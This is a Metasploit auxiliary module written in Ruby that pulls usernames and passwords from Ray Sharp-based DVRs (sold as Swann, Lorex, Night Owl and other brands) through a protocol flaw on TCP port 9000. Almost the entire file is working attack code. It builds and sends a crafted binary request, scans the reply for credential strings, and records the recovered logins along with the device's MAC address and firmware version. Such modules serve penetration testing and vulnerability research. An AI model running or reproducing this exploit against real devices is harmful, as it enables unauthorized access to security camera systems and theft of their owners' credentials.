##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize
		super(
			'Name'        => 'Ray Sharp DVR Password Retriever',
			'Description' => %q{
					This module takes advantage of a protocol design issue with the
				Ray Sharp based DVR systems. It is possible to retrieve the username and
				password through the TCP service running on port 9000. Other brands using
				this platform and exposing the same issue may include Swann, Lorex,
				Night Owl, Zmodo, URMET, and KGuard Security.
			},
			'Author'      =>
				[
					'someluser', # Python script
					'hdm'        # Metasploit module
				],
			'References'  =>
				[
					[ 'URL', 'http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html' ]
				],
			'License'     => MSF_LICENSE
		)

		register_options( [ Opt::RPORT(9000) ], self.class)
	end

	def run_host(ip)
		req =
			"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0E\x0F" +
			"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00" +
			( "\x00" * 475 )

		connect
		sock.put(req)

		buf = ""
		begin
			# Pull data until the socket closes or we time out
			Timeout.timeout(15) do
				loop do
					res = sock.get_once(-1, 1)
					buf << res if res
				end
			end
		rescue ::Timeout::Error
		rescue ::EOFError
		end

		disconnect

		info = ""
		mac  = nil
		ver  = nil

		creds = {}

		buf.scan(/[\x00\xff]([\x20-\x7f]{1,32})\x00+([\x20-\x7f]{1,32})\x00\x00([\x20-\x7f]{1,32})\x00/m).each do |cred|
			# Make sure the two passwords match
			next unless cred[1] == cred[2]
			creds[cred[0]] = cred[1]
		end

		if creds.keys.length > 0
			creds.keys.sort.each do |user|
				pass = creds[user]
				report_auth_info({
					:host         => rhost,
					:port         => rport,
					:sname        => 'dvr',
					:duplicate_ok => false,
					:user         => user,
					:pass         => pass
				})
				info << "(user='#{user}' pass='#{pass}') "
			end
		end

		# Look for MAC address
		if buf =~ /([0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2})/mi
			mac = $1
		end

		# Look for version
		if buf =~ /(V[0-9]+\.[0-9][^\x00]+)/m
			ver = $1
		end

		info << "mac=#{mac} " if mac
		info << "version=#{ver} " if ver

		return unless (creds.keys.length > 0 or mac or ver)

		report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => info)
		print_good("#{rhost}:#{rport} #{info}")
	end

end
